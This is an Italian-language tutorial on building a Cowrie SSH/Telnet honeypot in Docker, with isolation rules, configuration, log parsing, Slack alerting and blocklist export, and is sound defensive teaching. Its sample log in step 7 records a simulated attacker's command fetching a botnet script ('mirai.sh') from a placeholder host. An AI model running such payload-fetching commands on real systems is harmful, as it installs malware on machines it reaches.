Honeypot Cowrie: Cattura Attacchi SSH in 12 Passi

Un server esposto su internet riceve il primo scan automatico nel giro di minuti, spesso prima ancora che l’amministratore abbia finito di configurarlo. Invece di limitarsi a bloccare quel traffico con un firewall, un numero crescente di team di sicurezza italiani ed europei sceglie di osservarlo: è questa l’idea alla base di un honeypot. In questo tutorial costruiamo da zero un honeypot SSH e Telnet con Cowrie, lo containerizziamo con Docker, raccogliamo i log degli attacchi in formato JSON e li trasformiamo in intelligence utilizzabile per l’incident response. Il progetto finale include anche l’invio di alert su Slack e un piccolo script Python per analizzare le credenziali più usate dagli attaccanti.

Cos’è un honeypot e perché serve nel 2026

Un honeypot è un sistema progettato per sembrare un bersaglio reale (un server SSH, un database, un dispositivo IoT) ma che in realtà non ospita nulla di prezioso. Il suo unico scopo è farsi attaccare, registrare ogni mossa dell’intruso e fornire ai difensori informazioni che un firewall o un IDS tradizionale non possono dare: le credenziali tentate, i comandi digitati dopo il login, i payload scaricati, gli indirizzi IP sorgente.

La tecnica non è nuova (i primi esperimenti risalgono agli anni ’90), ma nel 2026 ha un ruolo preciso dentro i programmi di incident response moderni, descritta da MITRE ATT&CK nella tecnica T1587 (Develop Capabilities) lato attaccante, che gli analisti usano a specchio per capire cosa viene sviluppato e testato contro le proprie reti. Un honeypot ben isolato trasforma ogni tentativo di intrusione in una fonte di threat intelligence gratuita, raccolta direttamente dagli attaccanti reali che colpiscono la tua infrastruttura, non da un feed di terze parti.

Il progetto open source più usato per questo scopo è Cowrie, un honeypot SSH e Telnet di media interazione scritto in Python, mantenuto attivamente e documentato su docs.cowrie.org. A differenza di un honeypot a bassa interazione (che si limita a rispondere con un banner), Cowrie simula un’intera shell Linux: l’attaccante può digitare comandi come ls, cat, wget e ottenere risposte plausibili, mentre ogni istruzione finisce nei log.

Honeypot a bassa, media e alta interazione: quale livello scegliere

Prima di scegliere Cowrie come strumento, vale la pena capire dove si colloca nel panorama degli honeypot disponibili. La classificazione classica divide questi sistemi in tre fasce in base a quanto realismo offrono e, di conseguenza, a quanto rischio comportano per chi li gestisce.

Un honeypot a bassa interazione si limita a rispondere a una connessione con un banner statico, senza simulare alcuna shell funzionante: è semplice da distribuire e praticamente privo di rischi, ma raccoglie solo l’indirizzo IP e il tentativo di connessione, nulla di più. Un honeypot a media interazione, categoria in cui rientra Cowrie, simula un sottoinsieme realistico di comandi e risposte senza eseguire codice reale sul sistema sottostante: è il compromesso scelto dalla maggior parte dei team perché offre dati ricchi (comandi digitati, credenziali, file scaricati) mantenendo un rischio contenuto. Un honeypot ad alta interazione, infine, espone una macchina reale (fisica o virtuale) completamente funzionante: raccoglie l’intelligence più dettagliata possibile, perché l’attaccante interagisce con un sistema vero, ma richiede un isolamento di rete molto più rigoroso e un monitoraggio costante, dato che un errore di configurazione può trasformarlo in un vero sistema compromesso.

Tipo di honeypot	Esempio di strumento	Rischio operativo	Qualità dei dati raccolti
Bassa interazione	Honeyd, banner statici	Molto basso	Limitata: solo IP e porta scansionata
Media interazione	Cowrie, Dionaea	Basso-medio con isolamento corretto	Alta: credenziali, comandi, download
Alta interazione	Macchina reale isolata con sandboxing avanzato	Alto, richiede supervisione costante	Massima: comportamento reale dell’attaccante

Per la maggior parte dei team che si avvicinano per la prima volta a questa tecnica, un honeypot a media interazione come Cowrie rappresenta il punto di partenza più sensato: offre dati sufficientemente dettagliati da essere utili per l’incident response senza richiedere l’infrastruttura di sicurezza e il monitoraggio h24 che un honeypot ad alta interazione impone.

Prerequisiti e versioni

Prima di iniziare, prepara l’ambiente con questi strumenti. Le versioni indicate sono quelle correnti al momento della scrittura (ottobre 2026): verifica sempre la versione effettivamente installata con i comandi riportati, perché i progetti open source rilasciano aggiornamenti di sicurezza con frequenza.

Componente	Versione consigliata	Comando di verifica
Sistema operativo host	Ubuntu Server 24.04 LTS o Debian 12	`lsb_release -a`
Docker Engine	versione LTS corrente	`docker --version`
Docker Compose plugin	versione corrente (v2.x)	`docker compose version`
Python	3.11 o superiore	`python3 --version`
Cowrie	ultima release da GitHub	`git describe --tags` nella cartella clonata
jq (parsing JSON da terminale)	ultima versione dal repository distro	`jq --version`

Serve inoltre una VPS o un server dedicato con un indirizzo IP pubblico, separato dalla tua infrastruttura di produzione. Questo è il punto più importante dell’intero tutorial, e lo ripeteremo più avanti nella sezione sugli errori comuni: un honeypot non va mai installato sulla stessa rete dove girano sistemi reali.

Passo 1: isolare la rete prima di scrivere una riga di configurazione

Prima ancora di installare Cowrie, decidi dove girerà. Le opzioni più comuni sono una VPS economica in una region separata dal tuo cloud di produzione, oppure una VLAN dedicata se lavori on-premise. In entrambi i casi il principio è lo stesso: se l’honeypot viene compromesso (è un rischio reale, non teorico), l’attaccante non deve poter raggiungere nient’altro.

Configura il firewall del provider cloud in modo che dall’host dell’honeypot non parta traffico in uscita verso la tua rete interna, le tue VPN o i tuoi repository privati. Consenti solo le porte che vuoi esporre come esca (22 per SSH, 23 per Telnet) e la porta di gestione SSH reale della macchina, spostata su una porta non standard e raggiungibile solo dal tuo IP.

# Esempio con ufw sull'host che ospiterà l'honeypot
sudo ufw default deny outgoing
sudo ufw default deny incoming
sudo ufw allow from TUO_IP_UFFICIO to any port 2222 proto tcp
sudo ufw allow 22/tcp
sudo ufw allow 23/tcp
sudo ufw allow out 53/udp
sudo ufw allow out 443/tcp
sudo ufw enable

La porta 2222 nell’esempio sopra è dove sposteremo l’SSH reale della macchina: Cowrie occuperà la 22 con la sua shell finta. Questo scambio è fondamentale e lo vedremo nel dettaglio al passo 4.

Passo 2: installare Docker e preparare la struttura del progetto

Usare Docker invece di un’installazione Python diretta semplifica isolamento, aggiornamenti e pulizia in caso di compromissione. Se Docker non è già presente sull’host, installalo con lo script ufficiale della distribuzione o con il repository apt di Docker.

mkdir -p ~/honeypot-lab/cowrie/etc
mkdir -p ~/honeypot-lab/cowrie/var/log
cd ~/honeypot-lab
git clone https://github.com/cowrie/cowrie.git cowrie-src
cd cowrie-src
git describe --tags
cp etc/cowrie.cfg.dist ../cowrie/etc/cowrie.cfg
cp etc/userdb.example ../cowrie/etc/userdb.txt

Clonare il repository, oltre a darti accesso al Dockerfile ufficiale, ti permette di leggere il changelog e verificare se ci sono avvisi di sicurezza prima di mettere in produzione una versione specifica. Non scaricare mai pacchetti Cowrie da fonti diverse da GitHub o dall’immagine ufficiale su Docker Hub.

Passo 3: scrivere il docker-compose.yml

Il file seguente definisce il container Cowrie con i volumi per configurazione, log e il filesystem finto che l’attaccante vedrà durante la sessione simulata.

version: "3.8"
services:
  cowrie:
    image: cowrie/cowrie:latest
    container_name: cowrie-honeypot
    restart: unless-stopped
    ports:
      - "22:2222"
      - "23:2223"
    volumes:
      - ./cowrie/etc:/cowrie/cowrie-git/etc
      - ./cowrie/var/log:/cowrie/cowrie-git/var/log/cowrie
      - ./cowrie/var/lib:/cowrie/cowrie-git/var/lib/cowrie
    environment:
      - COWRIE_HONEYPOT_HOSTNAME=srv-prod-04
    networks:
      - honeynet
    deploy:
      resources:
        limits:
          cpus: "0.5"
          memory: 256M

networks:
  honeynet:
    driver: bridge
    internal: false

Due dettagli meritano attenzione. Primo, il limite di risorse (cpus e memory) impedisce che un attaccante che riesca a eseguire codice dentro il container possa usarlo per minare criptovalute o lanciare attacchi verso terzi, cosa già successa a diversi laboratori mal configurati. Secondo, l’hostname finto (srv-prod-04) rende l’esca più credibile: un nome come “test-honeypot” scoraggia un attaccante esperto nel giro di pochi secondi.

Passo 4: configurare cowrie.cfg

Apri cowrie/etc/cowrie.cfg e modifica i parametri chiave. Le righe sotto riportano solo le sezioni che vanno quasi sempre personalizzate rispetto ai valori di default.

[honeypot]
hostname = srv-prod-04
log_path = var/log/cowrie
download_path = var/lib/cowrie/downloads
interactive_timeout = 180
authentication_class = UserDB

[ssh]
enabled = true
listen_endpoints = tcp:2222:interface=0.0.0.0
version = SSH-2.0-OpenSSH_9.6p1

[telnet]
enabled = true
listen_endpoints = tcp:2223:interface=0.0.0.0

[output_jsonlog]
enabled = true
logfile = var/log/cowrie/cowrie.json

Il parametro version nella sezione [ssh] è quello che gli attaccanti usano più spesso per fare fingerprinting: se lasci il banner di default di Cowrie, strumenti come Shodan e scanner automatici lo riconoscono in pochi giorni e lo etichettano pubblicamente come honeypot, vanificando il lavoro. Usa sempre una versione OpenSSH realistica e aggiornala periodicamente.

Passo 5: definire credenziali finte credibili

Il file userdb.txt definisce quali combinazioni di utente e password vengono accettate dall’honeypot. La tentazione è lasciare tutto aperto, ma un honeypot che accetta letteralmente qualsiasi password insospettisce gli attaccanti più esperti, che testano prima una password sbagliata apposta per verificare se il sistema è reale.

# formato: utente:tipo_credenziale:valore
# usa '*' per accettare qualunque password per un dato utente
root:plaintext:*
admin:plaintext:admin123
ubuntu:plaintext:ubuntu
deploy:plaintext:changeme2026
# nega esplicitamente alcune combinazioni per aumentare il realismo
root:plaintext:password123!
!root:plaintext:password123!

Mescolare utenti che accettano qualsiasi password con utenti che richiedono una password specifica riproduce il comportamento tipico di un server mal configurato ma non completamente spalancato, aumentando il tempo medio che un attaccante passa a interagire con il sistema prima di capire che è una trappola.

Passo 6: popolare il filesystem finto

Cowrie simula un filesystem Linux completo a partire da un dump compresso. Se lasci quello di default, un attaccante che digita cat /etc/hostname o controlla la lista dei pacchetti installati trova spesso incongruenze (date vecchie, pacchetti mancanti) che rivelano l’inganno.

# genera un filesystem fittizio a partire da un sistema reale che gestisci
cd cowrie-src/bin
python3 createfs.py -l / -o fs.pickle -x /proc -x /sys -x /dev -x /tmp
cp fs.pickle ../../cowrie/etc/cowrie-fs.pickle

Esegui questo script su una macchina Linux pulita e aggiornata, non sulla produzione reale: lo scopo è ottenere un filesystem realistico, non esporre dati veri. Dopo la generazione, aggiorna cowrie.cfg con il percorso del nuovo file e riavvia il container.

Passo 7: avviare l’honeypot e verificare i log

docker compose up -d
docker compose logs -f cowrie
tail -f cowrie/var/log/cowrie.json | jq .

Da un’altra macchina (mai dalla stessa rete dell’honeypot), prova a collegarti via SSH alla porta 22 dell’host per verificare che la shell finta risponda correttamente. Un output tipico nel log JSON, dopo un tentativo di login riuscito e un comando digitato dall’attaccante simulato, appare così:

{"eventid":"cowrie.login.success","username":"root","password":"password123!","src_ip":"203.0.113.44","session":"a1b2c3d4","timestamp":"2026-10-02T14:12:03.441Z"}
{"eventid":"cowrie.command.input","input":"wget http://203.0.113.90/mirai.sh","session":"a1b2c3d4","timestamp":"2026-10-02T14:12:09.117Z"}
{"eventid":"cowrie.session.file_download","url":"http://203.0.113.90/mirai.sh","outfile":"var/lib/cowrie/downloads/9f8a7b.bin","session":"a1b2c3d4"}

Questo è esattamente il tipo di dato che rende un honeypot utile: non solo sai che qualcuno ha provato ad accedere, ma hai in mano l’URL da cui l’attaccante avrebbe scaricato un payload malevolo e persino il file stesso, già isolato in una sandbox, pronto per un’analisi statica o per essere inviato a un servizio di scansione pubblico.

Passo 8: centralizzare i log con un parser Python

Con un honeypot attivo per qualche settimana, il file JSON cresce rapidamente. Uno script Python semplice permette di estrarre le metriche che contano davvero per l’incident response: IP più aggressivi, credenziali più tentate, comandi più comuni.

import json
from collections import Counter

ips = Counter()
creds = Counter()
commands = Counter()

with open("cowrie/var/log/cowrie.json") as f:
    for line in f:
        try:
            event = json.loads(line)
        except json.JSONDecodeError:
            continue
        eid = event.get("eventid", "")
        if eid.startswith("cowrie.login"):
            ips[event.get("src_ip")] += 1
            creds[(event.get("username"), event.get("password"))] += 1
        elif eid == "cowrie.command.input":
            commands[event.get("input")] += 1

print("Top 10 IP attaccanti:")
for ip, n in ips.most_common(10):
    print(f"  {ip}: {n} tentativi")

print("\nTop 10 coppie utente/password:")
for cred, n in creds.most_common(10):
    print(f"  {cred}: {n} volte")

print("\nTop 10 comandi eseguiti:")
for cmd, n in commands.most_common(10):
    print(f"  {cmd}: {n} volte")

Un output tipico dopo una settimana di esposizione pubblica su una porta SSH standard somiglia a questo (i numeri variano molto in base a dove ospiti la VPS, ma l’ordine di grandezza è realistico per un IP esposto senza protezioni):

Metrica	Valore osservato tipico dopo 7 giorni
Tentativi di login totali	diverse migliaia
IP sorgente unici	centinaia
Coppia utente/password più comune	root / 123456 o varianti simili
Comando più frequente dopo login	`uname -a` o `cat /proc/cpuinfo` (fingerprinting del sistema)
Payload scaricati e catturati	variabile, spesso script di botnet IoT

Nota bene: questi sono ordini di grandezza osservati tipicamente in setup di questo tipo documentati dalla community Cowrie, non una garanzia statistica per ogni singolo deployment. Il volume reale dipende da regione del data center, reputazione dell’IP e visibilità su scanner pubblici come Shodan.

Passo 9: inviare alert in tempo reale su Slack

Controllare i log manualmente ogni giorno non scala. Un piccolo servizio che segue il file JSON e invia una notifica quando rileva un download di file (evento ad alto valore, spesso collegato a un vero tentativo di installare malware) chiude il cerchio verso un vero workflow di incident response.

import json
import time
import requests

WEBHOOK_URL = "https://hooks.slack.com/services/XXX/YYY/ZZZ"
LOG_PATH = "cowrie/var/log/cowrie.json"

def tail_f(path):
    with open(path) as f:
        f.seek(0, 2)
        while True:
            line = f.readline()
            if not line:
                time.sleep(1)
                continue
            yield line

for line in tail_f(LOG_PATH):
    try:
        event = json.loads(line)
    except json.JSONDecodeError:
        continue
    if event.get("eventid") == "cowrie.session.file_download":
        msg = (
            f":rotating_light: Download catturato dall'honeypot\n"
            f"IP: {event.get('src_ip')}\n"
            f"URL: {event.get('url')}\n"
            f"Sessione: {event.get('session')}"
        )
        requests.post(WEBHOOK_URL, json={"text": msg}, timeout=5)

Esegui questo script come servizio systemd separato, non dentro il container dell’honeypot: se il container viene compromesso più a fondo del previsto, il webhook e le credenziali Slack restano al sicuro sull’host.

Passo 10: ruotare i log e gestire lo storage

Un honeypot esposto può generare diversi gigabyte di log JSON al mese. Configura logrotate per evitare che il disco si riempia e per mantenere solo lo storico realmente utile alle indagini.

# /etc/logrotate.d/cowrie
/home/*/honeypot-lab/cowrie/var/log/cowrie.json {
    daily
    rotate 30
    compress
    delaycompress
    missingok
    notifempty
    copytruncate
}

L’opzione copytruncate è importante qui: Cowrie tiene il file di log aperto in scrittura continua, e una rotazione classica che sposta il file lascerebbe il processo a scrivere su un inode ormai staccato dal filesystem, perdendo silenziosamente tutti i nuovi eventi.

Passo 11: arricchire gli IP con threat intelligence

Un indirizzo IP da solo dice poco. Arricchirlo con dati di geolocalizzazione, reputazione e appartenenza a reti note (hosting abusivi, proxy, exit node Tor) trasforma una lista di numeri in un quadro di minaccia utilizzabile.

import requests

def arricchisci_ip(ip):
    r = requests.get(f"https://ipapi.co/{ip}/json/", timeout=5)
    data = r.json()
    return {
        "ip": ip,
        "paese": data.get("country_name"),
        "org": data.get("org"),
        "asn": data.get("asn"),
    }

# esempio: arricchisci i top 10 IP del Passo 8
for ip, _ in ips.most_common(10):
    info = arricchisci_ip(ip)
    print(info)

Incrocia questi dati con il catalogo pubblico delle vulnerabilità sfruttate attivamente: se un IP che ha colpito il tuo honeypot compare anche in report legati a una campagna nota, hai una conferma indipendente della sua pericolosità.

Passo 12: documentare e automatizzare la risposta

L’ultimo passo collega l’honeypot al resto del tuo stack di sicurezza. Gli IP raccolti possono alimentare automaticamente una blocklist condivisa con il firewall perimetrale della tua infrastruttura reale, chiudendo il cerchio tra osservazione e protezione attiva.

# esporta gli IP con più di 5 tentativi come blocklist per iptables/nftables
import json
from collections import Counter

ips = Counter()
with open("cowrie/var/log/cowrie.json") as f:
    for line in f:
        try:
            e = json.loads(line)
        except json.JSONDecodeError:
            continue
        if e.get("eventid", "").startswith("cowrie.login"):
            ips[e.get("src_ip")] += 1

with open("blocklist.txt", "w") as out:
    for ip, count in ips.items():
        if count >= 5:
            out.write(f"{ip}\n")

print(f"Generati {sum(1 for c in ips.values() if c >= 5)} IP per la blocklist")

Prima di importare automaticamente una blocklist del genere sul firewall di produzione, aggiungi sempre una fase di revisione manuale o una whitelist di IP noti (scanner di sicurezza legittimi usati internamente, CDN, servizi di monitoraggio): un blocco automatico troppo aggressivo può isolare traffico legittimo.

Errori comuni da evitare

Chi implementa il primo honeypot commette quasi sempre uno di questi errori. Conoscerli in anticipo fa risparmiare ore di debug e, in alcuni casi, evita conseguenze legali o di sicurezza serie.

Installarlo sulla stessa rete della produzione. È l’errore più grave: se l’honeypot viene usato come trampolino, l’attaccante ottiene un punto d’appoggio dentro il tuo perimetro reale invece di restare isolato.
Lasciare le risorse del container illimitate. Senza limiti di CPU e memoria, un honeypot compromesso più a fondo del previsto può diventare un nodo di una botnet o un relay per attacchi verso terzi, con conseguenze legali per te come operatore dell’IP.
Non aggiornare il banner SSH di default. Il banner generico di Cowrie viene riconosciuto da scanner pubblici in pochi giorni; da quel momento l’IP viene marcato come honeypot e perde valore.
Dimenticare la rotazione dei log. Un disco pieno su una VPS economica può bloccare silenziosamente la raccolta di nuovi eventi per giorni prima che qualcuno se ne accorga.
Ignorare gli aggiornamenti di sicurezza del software collegato all’autenticazione. Diversi strumenti di gestione accessi hanno avuto bypass reali nel 2025 e 2026, come CVE-2025-6015 su HashiCorp Vault: lo stesso principio di patching tempestivo vale per ogni componente del tuo laboratorio honeypot.
Esporre la porta di gestione reale senza restrizioni. Se sposti l’SSH vero su una porta alternativa ma la lasci aperta a tutto internet, hai semplicemente spostato il problema, non risolto.
Costruire un filesystem finto troppo povero. Un attaccante umano (non uno script automatico) nota rapidamente l’assenza di file di sistema comuni o date incoerenti, abbandonando la sessione prima di rivelare comportamenti interessanti.
Non isolare le credenziali di notifica. Mettere il webhook Slack o le chiavi API dentro il container dell’honeypot le espone nello stesso momento in cui il container viene compromesso.

Perché le vulnerabilità di bypass MFA del 2025-2026 interessano anche chi gestisce honeypot

Una parte dell’intelligence raccolta da un honeypot SSH riguarda proprio i tentativi di bypassare meccanismi di autenticazione forte, non solo password deboli. Nel 2025 e 2026 sono emersi diversi casi reali che mostrano come anche un’implementazione tecnicamente corretta di TOTP possa essere aggirata a livello di logica applicativa, non di algoritmo.

CVE-2025-64103 su Zitadel ha permesso, in determinate condizioni, di riutilizzare una sessione verificata via password senza un nuovo controllo del secondo fattore. Su Pterodactyl Panel, CVE-2025-69197 rendeva i token TOTP riutilizzabili dopo il primo utilizzo, aprendo la porta ad attacchi di replay. Più di recente, CVE-2026-45749 su Termix ha mostrato come la sola password dell’account potesse bastare per disattivare la protezione TOTP o rigenerare i codici di recupero.

Il filo conduttore di questi casi non è un difetto nell’algoritmo RFC 6238 alla base di TOTP, ma errori nella logica che lo circonda: mancata verifica del primo fattore, rate limiting insufficiente, gestione insicura dei codici di recupero. Le linee guida OWASP sull’autenticazione e il rilevamento delle intrusioni raccomandano esplicitamente di verificare sempre tutti i fattori nello stesso flusso, impedire che una password valida disabiliti l’MFA e proteggere il segreto condiviso a riposo. Un honeypot che simula un pannello di amministrazione con MFA (un’estensione avanzata rispetto al Cowrie SSH di base) può effettivamente catturare tentativi di sfruttare esattamente questa classe di debolezze.

Troubleshooting: i problemi più frequenti

Ecco le situazioni che capitano più spesso durante il setup e come risolverle.

Il container si riavvia in loop. Controlla i permessi delle cartelle montate come volumi: Cowrie gira con un utente non privilegiato dentro il container e non può scrivere su directory create come root sull’host. Esegui chown -R 1000:1000 cowrie/var per allineare i permessi.
Non arriva nessun log dopo un tentativo di connessione. Verifica che il mapping delle porte nel docker-compose corrisponda a quanto configurato in cowrie.cfg: un errore comune è lasciare listen_endpoints su una porta diversa da quella mappata dal container.
Il banner SSH mostra ancora “Cowrie” o una versione generica. Il parametro version nella sezione [ssh] non è stato applicato: ricontrolla di aver modificato il file montato come volume e non una copia nella cartella sorgente, poi riavvia il container con docker compose restart.
Gli IP registrati nei log sono tutti uguali al gateway Docker. Succede quando la rete Docker fa NAT prima che Cowrie veda l’IP reale. Usa network_mode: host oppure verifica la configurazione del proxy inverso se ne hai uno davanti.
Il file di log cresce ma jq restituisce errori di parsing. Una scrittura concorrente può troncare una riga JSON a metà durante un riavvio imprevisto. Filtra le righe non valide nello script di analisi, come mostrato nel Passo 8, invece di affidarti a un parsing rigido.
Lo script di notifica Slack non invia nulla. Verifica che l’URL del webhook sia ancora valido: Slack invalida i webhook se l’app collegata viene rimossa dal workspace o se restano inattivi per lungo tempo.
Il filesystem finto generato con createfs.py è enorme. Escludi sempre le directory indicate nell’esempio del Passo 6 (/proc, /sys, /dev, /tmp) e valuta di escludere anche /var/log della macchina sorgente per evitare di includere dati sensibili nel dump.
Il server cloud sospende l’account per abuso. Alcuni provider rilevano traffico SSH in ingresso anomalo e segnalano l’account come compromesso. Contatta il supporto spiegando che si tratta di un honeypot di ricerca legittimo e, se possibile, scegli provider che permettono esplicitamente questo uso nei loro termini di servizio.
I comandi digitati dall’attaccante non vengono eseguiti come previsto nella shell finta. Cowrie supporta un sottoinsieme di comandi Unix comuni, non una shell completa: comandi complessi o poco comuni vengono spesso ignorati silenziosamente, ed è un comportamento atteso, non un bug da correggere.

Tecniche avanzate: oltre il singolo honeypot

Una volta che il laboratorio base funziona in modo stabile, ci sono diverse direzioni per estenderlo senza dover riscrivere l’architettura da zero.

La prima è la distribuzione geografica: invece di un singolo honeypot, distribuirne diversi su region cloud diverse (Europa, Nord America, Asia) permette di confrontare i pattern di attacco per area geografica e capire se una campagna specifica sta colpendo in modo mirato una certa regione. La seconda è l’integrazione con un SIEM, inviando gli eventi JSON di Cowrie direttamente come sorgente di log aggiuntiva: questo permette correlazioni automatiche tra gli attacchi catturati dall’honeypot e gli alert generati dai tuoi sistemi di produzione reali, un approccio descritto anche nella nostra guida a Wazuh per l’incident response.

Una terza strada è l’analisi automatica dei binari catturati nella cartella downloads: uno script può calcolare l’hash SHA-256 di ogni file scaricato e confrontarlo con un servizio di reputazione prima ancora dell’intervento umano, dando priorità alle indagini sui campioni mai visti prima rispetto a varianti già note di malware IoT comuni. Infine, per chi gestisce un intero team SOC, i dati dell’honeypot si prestano a essere incrociati con il quadro più ampio delle minacce a livello continentale, verificando se le tecniche osservate localmente rispecchiano le tendenze europee o se indicano un targeting specifico verso la tua infrastruttura, come discusso nel nostro approfondimento sull’ENISA Threat Landscape 2026.

Quanto costa gestire un honeypot e come scegliere il provider

Uno dei vantaggi pratici di questo progetto è il costo contenuto. Il carico di lavoro reale generato da Cowrie è minimo: la shell finta non esegue codice pesante, quindi anche una VPS entry-level con una sola vCPU e 1 GB di RAM è sufficiente per gestire migliaia di sessioni simulate al giorno. Il vincolo di memory: 256M impostato nel Passo 3 lascia ampio margine anche su macchine economiche.

La voce di costo più trascurata, però, non è il calcolo ma il traffico in uscita e lo storage dei log nel tempo. Se l’honeypot cattura molti payload malevoli (script di botnet IoT, worm che tentano di propagarsi), il traffico generato dai download può accumularsi nell’arco di un mese. Monitora il consumo di banda dal pannello del provider nelle prime due settimane per calibrare eventuali limiti.

Nella scelta del provider, verifica esplicitamente nei termini di servizio che l’ospitare un honeypot di ricerca sia consentito: alcuni fornitori generalisti trattano qualsiasi porta SSH esposta con traffico anomalo come un segnale di compromissione e sospendono l’account in automatico, come accennato nella sezione di troubleshooting. Cerca invece provider che offrono esplicitamente piani per laboratori di sicurezza o ricerca, oppure contatta il supporto prima dell’attivazione per mettere per iscritto lo scopo del progetto. Questo accorgimento, spesso trascurato da chi è alla prima esperienza, evita interruzioni impreviste proprio nei giorni in cui l’honeypot inizia finalmente a raccogliere dati interessanti.

Integrare l’honeypot nel programma di sicurezza più ampio

Un honeypot isolato, gestito come progetto a sé stante, produce dati interessanti ma lascia sul tavolo gran parte del suo valore. Il salto di qualità arriva quando lo integri nel ciclo operativo che già usi per la sicurezza del resto dell’infrastruttura.

Se gestisci già un piano di incident response strutturato in stile CSIRT, aggiungi l’honeypot come sorgente di innesco per uno dei playbook esistenti: un download di file da un IP mai visto prima può attivare automaticamente la fase di triage, mentre un pattern di attacco ripetuto da uno stesso blocco di IP nell’arco di poche ore può giustificare l’apertura di un caso dedicato. Allo stesso modo, se nella tua organizzazione usi già strumenti di digital forensics come Velociraptor per le indagini sugli endpoint reali, i campioni di malware catturati dall’honeypot diventano un ottimo set di test per affinare le regole di rilevamento prima che si presenti un incidente vero.

Un’altra integrazione utile riguarda il monitoraggio delle vulnerabilità note: se hai già un processo per tenere traccia del catalogo CISA KEV con Python, puoi incrociare i payload scaricati dall’honeypot con le CVE più recentemente aggiunte al catalogo, verificando se gli attaccanti stanno già sfruttando attivamente una falla appena resa pubblica contro la tua infrastruttura reale. Infine, le lezioni raccolte osservando come un attaccante prova a muoversi dentro la shell finta di Cowrie offrono materiale concreto per rivedere la tua checklist di hardening basata sulla remediation OWASP Top 10, specialmente sulle voci relative a controllo degli accessi e configurazioni di sicurezza errate.

Aspetti legali ed etici da considerare

Gestire un honeypot non è solo una questione tecnica. In Europa, la raccolta di indirizzi IP (dato personale secondo l’interpretazione prevalente del GDPR quando è possibile ricondurlo, anche indirettamente, a una persona fisica) richiede una base giuridica e una finalità dichiarata, tipicamente il legittimo interesse alla sicurezza della propria infrastruttura. Documenta per iscritto perché raccogli questi dati, per quanto tempo li conservi e chi vi ha accesso, anche se il progetto è un laboratorio personale: è una buona pratica che torna utile se mai dovessi spiegarne lo scopo a un fornitore cloud o a un’autorità di controllo.

Evita inoltre qualunque forma di “hack back”: l’honeypot serve a osservare e raccogliere prove, non a reagire attaccando a sua volta l’IP sorgente, attività che in quasi tutte le giurisdizioni europee espone a responsabilità penale indipendentemente dalle intenzioni difensive.

Il progetto completo: struttura finale

Alla fine di questo tutorial la struttura delle cartelle sul tuo host dovrebbe apparire così, con ogni componente costruito nei passi precedenti:

honeypot-lab/
├── docker-compose.yml
├── cowrie/
│   ├── etc/
│   │   ├── cowrie.cfg
│   │   ├── userdb.txt
│   │   └── cowrie-fs.pickle
│   └── var/
│       ├── log/cowrie.json
│       └── lib/downloads/
├── scripts/
│   ├── parse_logs.py
│   ├── slack_alert.py
│   ├── enrich_ips.py
│   └── export_blocklist.py
└── logrotate/cowrie.conf

Da qui puoi far girare l’intero stack con un solo comando (docker compose up -d), avere il parser Python pronto per un cron job giornaliero e l’alert Slack attivo come servizio systemd permanente. È un setup leggero, pensato per girare anche su una VPS economica, ma sufficiente per iniziare a raccogliere threat intelligence reale già dal primo giorno.

Domande frequenti

Un honeypot è legale da gestire in Italia e in Europa?
Sì, nella maggior parte dei casi, purché lo scopo sia difensivo e la raccolta dei dati rispetti i principi del GDPR relativi a finalità, minimizzazione e conservazione limitata nel tempo. Evita sempre qualsiasi forma di contrattacco attivo verso l’IP sorgente.

Cowrie è sicuro al 100%, non rischio che l’attaccante esca dal container?
Nessun honeypot è sicuro al 100%. Cowrie simula una shell senza eseguire comandi reali sul sistema sottostante, ma un container Docker mal configurato o con privilegi eccessivi può comunque rappresentare un rischio. Segui sempre i limiti di risorse e isolamento di rete descritti nel Passo 1 e nel Passo 3.

Quanto tempo serve prima di ricevere i primi attacchi?
Su un IP pubblico senza protezioni particolari, i primi scan automatici arrivano tipicamente entro poche ore dall’attivazione, spesso entro i primi minuti se l’IP appartiene a un range di hosting cloud già noto agli scanner.

Serve per forza Docker per usare Cowrie?
No, Cowrie può essere installato direttamente con un virtual environment Python, ma Docker semplifica isolamento, pulizia dopo un’eventuale compromissione e gestione dei limiti di risorse, motivo per cui è l’approccio consigliato in questo tutorial.

Posso usare Cowrie per simulare anche altri protocolli oltre a SSH e Telnet?
Cowrie è specializzato su SSH e Telnet. Per simulare altri servizi (HTTP, database, SMB) esistono progetti honeypot dedicati che possono essere eseguiti in parallelo sullo stesso host, sempre rispettando l’isolamento di rete descritto nel Passo 1.

Come distinguo un vero attacco mirato da uno scan automatico generico?
Gli scan automatici tendono a testare rapidamente poche combinazioni di credenziali comuni e disconnettersi subito dopo un fallimento. Un attacco più mirato mostra sessioni più lunghe, comandi di ricognizione specifici (ricerca di file di configurazione, controllo della rete interna) e spesso il download di payload personalizzati invece di script generici.

Devo aggiornare Cowrie regolarmente?
Sì. Come mostrano i casi CVE discussi in questo articolo relativi a strumenti di autenticazione e gestione accessi, anche i componenti di sicurezza possono contenere vulnerabilità: controlla il repository GitHub di Cowrie periodicamente e applica gli aggiornamenti, specialmente quelli che riguardano la gestione delle sessioni.

Un honeypot può sostituire un firewall o un sistema IDS?
No. Un honeypot è uno strumento complementare di osservazione e raccolta intelligence, non un meccanismo di protezione perimetrale. Deve sempre affiancare, non sostituire, i controlli di sicurezza tradizionali della tua infrastruttura reale, descritti più nel dettaglio nella nostra sezione dedicata alla sicurezza informatica.

Honeypot Cowrie: Cattura Attacchi SSH in 12 Passi [2026]